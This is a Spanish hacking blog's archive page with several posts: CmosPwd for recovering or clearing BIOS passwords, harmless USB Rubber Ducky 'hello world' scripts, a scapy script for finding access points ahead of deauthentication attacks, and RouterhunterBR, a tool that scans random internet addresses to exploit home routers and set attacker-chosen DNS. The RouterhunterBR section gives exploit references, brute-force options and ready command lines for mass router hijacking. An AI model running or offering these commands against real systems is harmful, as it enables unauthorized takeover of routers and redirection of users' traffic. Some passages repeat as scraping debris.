Vistas de página en total

Mostrando entradas con la etiqueta Linux. Mostrar todas las entradas
Mostrando entradas con la etiqueta Linux. Mostrar todas las entradas

martes, 23 de febrero de 2016

Obtener contraseña de la BIOS bajo Linux (Backtrack ) & Windows

CmosPwd descifra la contraseña almacenada en la CMOS utiliza para acceder a la configuración BIOS.
Funciona con los siguientes BIOS






  • ACER / IBM BIOS
  • AMI BIOS
  • AMI WinBIOS 2,5
  • Premio 4.5x/4.6x/6.0
  • Compaq (1992)
  • Compaq (Nueva versión)
  • IBM (PS / 2, Activa, Thinkpad)
  • Packard Bell
  • Phoenix 1.00.09.AC0 (1994), A486 1,03, 1,04, 1,10 A03, 4,05 rev 1.02.943, 4,06 rev 1.13.1107
  • Phoenix 4 edición 6 (Usuario)
  • Gateway Solo - Phoenix versión 4.0 6
  • Toshiba
  • Zenith AMI
Con CmosPwd,tambien puede realizar copias de seguridad , restaurar y borrar CMOS


Tutorial Backtrack 5 R3

Ingresamos a la siguiente ruta:

Backtrack > Forensics > Password 
Forensics  tools > cmospwd

Se desplegara la siguiente pantalla: 

Con el comando básico #./cmospwd -k podemos visualizar 3 opciones:

1. Kill cmos
2. kill cmos (try to keep date and time)
3. abort:

Antes de continuar nos preguntamos ¿Que es cmos ?

La CMOS es una porción de memoria encargada de almacenar los valores de configuración de usuario de la placa madre algunos de los cuales el usuario podrá cambiar o no. Podemos configurar datos como por ejemplo, la fecha y la hora, los parámetros que definen el disco rígido, la secuencia de arranque o la configuración de los puertos de entrada salida, etc.


Bueno elegimos la opción y le damos Enter.

Bueno espero que esta herramienta muy sencilla y fácil de usar pueda ser de ayuda, cabe destacar que corre en plataformas windows y linux

Montando servidores Linux [CentOS]



Tal vez este no sea un tutorial, pero antes de comenzar con ataques o cosas así es bueno entender como funcionan, como se pueden montar y como trabajan.
 Personalemente este libro me ayudo mucho en el isntituto y además me permitió tener mejor configurado mis servidores y ganar un poco de dinero extra.
 Los libros sobre linux, sobre todo los que hablan sobre servidores son muy extensos, pero vale la pena leerlos aunque sea por parte, según lo que quieras aprender a configurar bien.

Espero les sirva tanto como a mi.


                               descarga


 

martes, 16 de febrero de 2016

Cuando el pato teclea Cuack Cuack – Parte 2

Seguimos con la trilogía de pato. Ya vimos en la parte 1 qué era el pato (USB Rubber Ducky) y cómo protegernos, en este caso vamos a ver algunos ejemplos del pato en diferentes sistemas operativos, por lo que va a comenzar a hacer Cuack
Lo primero que necesitamos para poderlo usar es aprender su lenguaje de programación el cual veréis que es muy sencillo. Aquí realizaremos el Hola Mundo en Windows, Mac, Linux y Android. Lo que vamos a hacer es abrir un editor de texto y escribir la conocida frase con la que empezamos a programar todo el mundo. Primero veremos el código y cómo afecta, luego veremos las herramientas para compilarlo.

Comenzamos con nuestro amigo Windows de Bill Puertas.
?
1
2
3
4
5
6
7
8
   
DELAY 3000
GUI r
DELAY 200
STRING notepad
ENTER
DELAY 200
STRING Hola mundo!!!
ENTER
Comenzamos introduciendo el comando DELAY -dicho comando mide el tiempo en milisegundos- que nos hará esperar 3 segundos para que le dé tiempo a Windows a reconocer el “teclado”. A continuación, con GUI r lanzamos el ejecutar, GUI emula la tecla de Windows, Super-Key o Command según el sistema operativo, al combinarlo con la tecla r y se nos abrirá la ventana de ejecutar de Windows.
Volvemos a esperar 200 milisegundos para dar tiempo a Windows a abrirnos la pantalla y tecleamos, con el comandos STRING, notepad. Después presionamos ENTER.
n
Una vez dominado Windows seguimos con la versión para Mac OS X de Jobs que veréis que es muy similar.

   
DELAY 3000
GUI SPACE
STRING TextEdit
ENTER
DELAY 2000
GUI n
DELAY 750
STRING Hola Mundo!!
ENTER

Como observamos en el segundo caso, los comandos son similares a Windows la diferencia es que en lugar de usar GUI r usamos GUI SPACE que nos abre el lanzador de aplicaciones.

Abrimos el TextEdit, en el caso de MAC, tenemos que decirle que queremos uno nuevo fichero de texto antes de ponernos a escribir en él, por lo que ejecutamos GUI n.
Ahora ya solo nos queda escribir el hola mundo con STRING Hola Mundo!! 😀 como ya hicimos en Windows. - See more at: http://hacking-etico.com/2015/05/16/cuando-el-pato-teclea-cuack-cuack-parte-2/#sthash.ho96N1g1.dpuf
Ahora ya solo nos queda escribir el hola mundo con STRING Hola Mundo!! 😀 como ya hicimos en Windows.
Seguimos con el tercer caso. En este momento vamos con GNU/Linux del tito Richard y Linus en su versión Ubuntu + Gnome3.
   
DELAY 3000
ALT F2
DELAY 500
STRING gedit
DELAY 500
ENTER
DELAY 750
STRING Hola Mundo!!

Como podéis ver, aquí difiere un poco el código, ya que no usamos GUI sino ALT F2 porque es como se abre el lanzador de aplicaciones en Gnome3, pero el resto es igual que en los anteriores sistemas.
 Ahora introducimos una vez más el editor de texto con el comando STRING gedit y lo ejecutamos.
Ya tenemos listo nuestro gedit para escribir nuestra famosa frase Hola Mundo. 
Vamos con nuestro cuarto y ultimo caso ¿Sueñan los androides con ovejas eléctricas?

Pues si no lo hacen nosotros vamos a hacer que lo hagan 😉

Vamos a usar inkpad en Android, dado que lo tenia instalado en mi móvil de pruebas y así no busco otro editor de texto simple.

   
DELAY 3100
ESCAPE
ESCAPE
ESCAPE
ESCAPE
ESCAPE
ESCAPE
CTRL z
DELAY 1200
STRING inkpad
DELAY 1000
DOWN
DOWN
DOWN
DOWN
ENTER
DELAY 2000
ENTER
DELAY 200
STRING Hola mundo!
Como observamos en este último caso usamos algunos comandos más. El primero es ESCAPE que nos sirve para volver hacia detrás y salir si tenemos alguna aplicación ejecutándose en ese momento.

Una vez en el escritorio usamos CTRL z que nos permitirá usar el buscador de Android donde tecleamos el nombre del programa inkpad, le damos un segundo para que busque y bajamos cuatro posiciones con DOWN hasta la aplicación y presionamos ENTER.
.
Esperamos 2 segundos para que se abra la aplicación y pulsamos ENTER de nuevo y ya escribimos nuestra frase Hola mundo!
FIN
 
Esperamos 2 segundos para que se abra la aplicación y pulsamos ENTER de nuevo y ya escribimos nuestra frase Hola mundo! - See more at: http://hacking-etico.com/2015/05/16/cuando-el-pato-teclea-cuack-cuack-parte-2/#sthash.ho96N1g1.dpuf
Esperamos 200 milisegundos y tecleamos Hola Mundo!! que aparecerá escrito gracias al comando STRING - See more at: http://hacking-etico.com/2015/05/16/cuando-el-pato-teclea-cuack-cuack-parte-2/#sthash.ho96N1g1.dpuf

BSSID Finder

En este post veremos que sólo 20 líneas de python son las necesarias para complementar el comportamiento de un sniffer y lograr que éste cumpla con nuestras necesidades. No obstante, el objetivo principal es proporcionar una introducción práctica a la librería scapy.
Este script resulta útil cuando en las auditorías wifi se requiere el conocimiento de los distintos AP de la organización que están a nuestro alcance. Un objetivo claro puede ser, por ejemplo, suplantar la identidad de los puntos de acceso para el envío de paquetes de desautenticación a las estaciones clientes.
Evidentemente esta tarea se puede realizar de forma manual, simplemente lanzado airodump-ng y anotando los bssid de interés, y cruzando los dedos para que no existan demasiados puntos de acceso. No obstante, contemplar las posibilidades del script resulta interesante, ya que son muy extensas. Por ejemplo, con pocas líneas es posible automatizar el envío de los paquetes de desautenticación y al final, todo se reducirá en un cd y un enter.
Para hacer uso del script, como siempre, debemos disponer de nuestra tarjeta en modo monitor:
La sentencia “airmon-ng check kill” nos permite matar los procesos que pueden interferir con nuestro modo monitor de la tarjeta. Es muy recomendable usar esta sentencia, ya que nos podemos ahorrar la posibilidad de obtener un comportamiento no deseado de la misma, y en consecuencia, una situación de confusión.
Hablando del modo monitor, aprovecho para añadir con las siguientes líneas una explicación y una pequeña comparación con su compatriota modo promiscuo.Ya sabemos que de forma predeterminada, cuando una tarjeta recibe un paquete comprueba si éste le va dirigido y si no es así, lo descarta. Este comportamiento se conoce como modo managed. En cambio, cuando se habilita el modo promiscuo, la tarjeta capturará todos los paquetes que reciba y que sean provenientes de tarjetas que se encuentran asociadas al mismo punto de acceso que ésta, ya sean paquetes destinados a la propia tarjeta o al resto de tarjetas asociadas. Esto es posible porqué en la cabecera de las tramas 802.11 se incluye el BSS ID sobre el que se encuentra asociado cada tarjeta.
 Por otro lado, el modo monitor permite a un computador con una tarjeta inalámbrica monitorizar todo el tráfico que recibe sin ningún tipo de filtro. A diferencia del modo promiscuo, el modo monitor permite capturar paquetes de distintos puntos de acceso o de redes Ad-Hoc sin una previa asociación a la red por parte de la tarjeta, es decir, un adaptador inalámbrico en modo promiscuo sólo subministrará los paquetes relacionados con el BSS ID del AP al que se ha unido, mientras que en modo monitor subministrará todos los paquetes de los distintos BSS ID que tiene a su alcance. Este modo sólo puede ser aplicado a las tarjetas de red inalámbricas, mientras que el modo promiscuo puede ser usado en ambas (también en las no inalámbricas). De alguna forma, podemos decir que el modo monitor es una extensión específica del modo promiscuo para las tarjetas wireless.
N
En resumen, el modo promiscuo no es lo mismo que modo monitor. ¿Sorprendido? Es cierto que en muchos sitios se dan por igual. Pero, ¡Pruébalo tú mismo! A continuación siguen algunos comandos que pueden resultarte de interés:
fconfig wlan0 promisc

ifconfig wlan0 –promisc



ifconfig wlan0 down

iwconfig wlan0 mode Monitor

ifconfig wlan0 up



ifconfig wlan0 down

iwconfig wlan0 mode Managed

ifconfig wlan0 up
Captura paquetes con las distintas configuraciones de la tarjeta y verás los resultados. ¡Wireshark Power!

Sin más, vamos a ver el script mencionado. Esta vez, en lugar de tratar en primera instancia con el código fuente, primeramente veremos cuál es el resultado que nos muestra por pantalla:
Notamos que en el ejecutable le indicamos la interfaz que debe utilizar, wlan0mon, el número de segundos que debe estar sniffando, 60, y finalmente el ESSID del cual nos interesa recolectar sus BSSIDs, eduroam. Con estos parámetros nos dará una lista de las direcciones MAC correspondientes a los puntos de acceso que ofrecen el SSID “eduroam”. Para los más curiosos, se introduce el SSID entre comillas (“”) para indicarle a python que interprete todo su contenido, en este caso, como sys.argv[3]. Nos resultará útil en el caso que el SSID contenga espacios.

Finalmente, vamos a ver el código fuente del script y comprobaremos que es extremadamente simple
En la línea 23 se hace uso de la función sniff, en la cual se le indica la interfaz que debe utilizar, la función que se aplicará a cada paquete capturado, inspect_packet, y el número de segundos que debe estar sniffando.

La función inspect_packet primeramente comprueba si se trata de un beacon frame, mediante la línea 9. Si es cierto se procede a capturar el BSSID, correspondiente a la dirección 2 de la cabecera, source address. Una vez extraído, si éste no pertenece a los BSSIDs objetivo que ya han sido analizados, se procede a capturar su SSID para posteriormente compararlo con el que se ha introducido por parámetro, línea 13. Finalmente, en el caso de una correcta coincidencia, se añade a la lista de targets y se muestra por pantalla.

Quizás la línea más interesante del código es la número 12. Se le está indicando a python que queremos del paquete la capa beacon y su data. Es decir, se requiere de la capa beacon “hacia arriba”, ignorando la encapsulación de capas inferiores (capa 802.11 y demás). A partir de aquí, con payload se le indica que se requiere la siguiente capa (Information Element). Por último, se pide el campo info de ésta, el cual contiene el SSID de la red inalámbrica.

Espero que haya sido de vuestro interés.

Un saludo a todos.
En resumen, el modo promiscuo no es lo mismo que modo monitor. ¿Sorprendido? Es cierto que en muchos sitios se dan por igual. Pero, ¡Pruébalo tú mismo! A continuación siguen algunos comandos que pueden resultarte de interés: - See more at: http://hacking-etico.com/2016/02/16/bss-id-finder/#sthash.gKKCKQNW.dpuf
En este post veremos que sólo 20 líneas de python son las necesarias para complementar el comportamiento de un sniffer y lograr que éste cumpla con nuestras necesidades. No obstante, el objetivo principal es proporcionar una introducción práctica a la librería scapy. - See more at: http://hacking-etico.com/2016/02/16/bss-id-finder/#sthash.gKKCKQNW.dpuf
En este post veremos que sólo 20 líneas de python son las necesarias para complementar el comportamiento de un sniffer y lograr que éste cumpla con nuestras necesidades. No obstante, el objetivo principal es proporcionar una introducción práctica a la librería scapy.
Este script resulta útil cuando en las auditorías wifi se requiere el conocimiento de los distintos AP de la organización que están a nuestro alcance. Un objetivo claro puede ser, por ejemplo, suplantar la identidad de los puntos de acceso para el envío de paquetes de desautenticación a las estaciones clientes.
- See more at: http://hacking-etico.com/2016/02/16/bss-id-finder/#sthash.gKKCKQNW.dpuf

lunes, 15 de febrero de 2016

Routerhunterbr automático 2.0 herramienta para probar... #Linux #RouterExploitation #RouterhunterBR

 El RouterhunterBR Que es una herramienta de seguridad automatizada encuentra vulnerabilidades y realiza pruebas en los routers y dispositivos vulnerables en Internet. El RouterhunterBR fue diseñado para funcionar a través de Internet en busca de pistas ips definidos o al azar con el fin de explotar de forma automática el DNSChanger la vulnerabilidad de los routers domésticos.
 
 El DNSChanger es un troyano capaz de dirigir peticiones de los usuarios a sitios ilegales. En la práctica, este malware tiene la capacidad de cambiar la configuración DNS de nuestra máquina de redirigir al usuario a sitios con fines maliciosos. Imagínese, por ejemplo, que su sistema está infectado con este malware, lo que podría ocurrir es que el usuario tenga acceso a un sitio en particular (por ejemplo. Facebook.com) puede ser enviada a un sitio web no solicitados y potencialmente ilegal.
 
   El guión explora cuatro vulnerabilidades en los routers
 Tech traslado ADSL Modem-Router 915 WM / sin autenticar DNS remoto Cambio Exploitreference: http://www.exploit-db.com/exploits/35995/
 D-Link DSL-2740R / sin autenticar DNS remoto Cambio Exploitreference: http://www.exploit-db.com/exploits/35917/
 D-Link DSL-2640B sin autenticar DNS remoto Cambio Exploitreference: http://1337day.com/exploit/23302/
 D-Link DSL-2780B DLink_1.01.14 - Unauthenticated Remote DNS Change
reference: https://www.exploit-db.com/exploits/37237/
 D-Link DSL-2730B AU_2.01 - omisión de autenticación de DNS Changereference: https://www.exploit-db.com/exploits/37240/
 D-Link DSL-526B ADSL2 AU_2.01 - No autenticado Changereference DNS remoto: https://www.exploit-db.com/exploits/37241/
 routers autenticados - - DSLink 260E DNS Changer - bruteforce de referencia: https://www.youtube.com/watch?v=tNjy91g2Rakhttp://blog.inurl.com.br/2015/03/dslink-260e-defaut-passwords-dns-change_17.html
 

 requerimiento

import sys, os, argparse, itertools, requests, random, time, threading, base64, socket
from datetime import datetime
 
 

Uso

 

-range 192.168.1.0-255, --range 192.168.1.0-255  Set range of IP
  -bruteforce, --bruteforce                        Performs brute force with users and passwords standards, and soon    after defines the malicious DNS.
  -startip 192.168.*.*, --startip 192.168.*.*      Start - IP range customized with wildcard / 201.*.*.*
  -endip 192.168.*.*, --endip 192.168.*.*          End - IP range customized with wildcard / 201.*.*.*
  -dns1 8.8.8.8, --dns1 8.8.8.8                    Define malicious dns1
  -dns2 8.8.4.4, --dns2 8.8.4.4                    Define malicious dns2
  --threads 10                                     Set threads numbers
  -rip, --randomip                                 Randomizing ips routers
  -lmtip 10, --limitip 10                          Define limite random ip
 
 

 comandos

   ips al azar 

 

python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --randomip --limitip 10 --threads 10                      
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 -rip -lmtip 10 --threads 10
 
   Escáner de IP gama: 
 
 python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --range 192.168.25.0-255 --threads 10
 
   rango de IP para requisitos particulares con comodín / Ex: --startip 201 * * * - --endip 201 * * *...... 
 python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --startip 192.168.*.* --endip 192.168.*.* --threads 10
 
   La fuerza bruta con usuarios y contraseñas en los routers que requiere
 autenticación, obligando a la alteración de DNS - DSLink 260E.
 
 python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.4 --range 177.106.19.65-70 --bruteforce --threads 10
 
 
                              Download RouterhunterBR 2.0